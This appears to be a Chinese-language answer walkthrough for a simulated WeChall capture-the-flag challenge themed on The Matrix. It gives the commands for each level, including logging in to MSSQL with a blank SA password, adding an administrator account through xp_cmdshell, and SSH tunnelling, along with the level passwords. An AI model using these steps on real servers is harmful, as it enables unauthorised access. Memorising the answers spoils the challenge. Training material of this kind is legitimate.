WeChall - Z - Reloaded

Challenge

Z - Reloaded (Exploit, Simulated, Storyline) — score 6

Before starting the challenge I suggest you to save every information and solution, because later in the challenge it is likely that you will need them again. Especially if you see passwords in the narrator box.

Z 系列故事线的一部分。扮演 Trinity(黑客帝国),通过模拟终端执行一系列渗透任务,最终瘫痪城市电网。

关卡攻略

游戏引擎在 zshellz.php,答案存储在 zshellz_answers.php(gitignored)。源码和语言文件可从 gizmore/gwf3 GitHub 仓库获取。

Level 1 — nmap 扫描

任务:对 10.2.2.2 执行 stealth SYN 扫描。

1
nmap -v -sS 10.2.2.2

输出显示目标运行 OpenSSH 2.2.0。

Level 2 — 漏洞源文件

任务:找出脆弱服务,命名包含安全漏洞的源文件。

1
deattack.c

对应 SSH CRC32 漏洞(CVE-2001-0144),detect_attack() 函数在 deattack.c 中。

Level 3 — sshnuke 利用

任务:使用电影中的著名命令攻击脆弱服务。

1
sshnuke 10.2.2.2 -rootpw="Z1ON0101"

命令格式源自 Matrix Reloaded 电影画面

Level 4 — SSH 端口转发

任务:建立 SSH 隧道将本地 MSSQL 端口转发到内网数据库服务器 192.168.10.2。

1
ssh -L 1433:192.168.10.2:1433 10.2.2.2

SSH 密码:Z1ON0101(sshnuke 重置后的 root 密码)

Level 5 — 输入密码

1
Z1ON0101

Level 6 — osql 登录 MSSQL

任务:使用 osql 客户端登录 MSSQL 2000 服务器。利用 MSSQL 2000 著名漏洞——默认空 SA 密码。

-P 参数无值即 NULL 密码,这是 MSSQL 2000 默认安装的著名弱点。

1
osql -U sa -P

Level 7 — 添加 Windows 用户

任务:添加 Windows 用户 trinity,密码 Z1ON0101。

利用 xp_cmdshell 扩展存储过程执行系统命令——MSSQL 2000 默认启用。

1
exec xp_cmdshell 'net user trinity Z1ON0101 /add'

Level 8 — 添加用户到管理员组

任务:将 trinity 加入 administrators 组。

1
exec xp_cmdshell 'net localgroup administrators trinity /add'

Level 9 — RDP 端口转发

任务:建立新的端口转发,将本地 RDP 端口通过网关转发到数据库服务器的 RDP 端口。

1
ssh -L 3389:192.168.10.2:3389 10.2.2.2

Level 10 — 反向端口转发

任务:将网关 10.2.2.2 端口 222 转发到本机 164.109.44.69 端口 22。

1
ssh -R 222:164.109.44.69:22 10.2.2.2

Level 11 — SCP 传输文件

任务:从数据库服务器复制病毒文件到本机。

1
scp -P 222 trinity@10.2.2.2:/home/trinity/nasty_virus .

Level 12

1
MyL0v315N30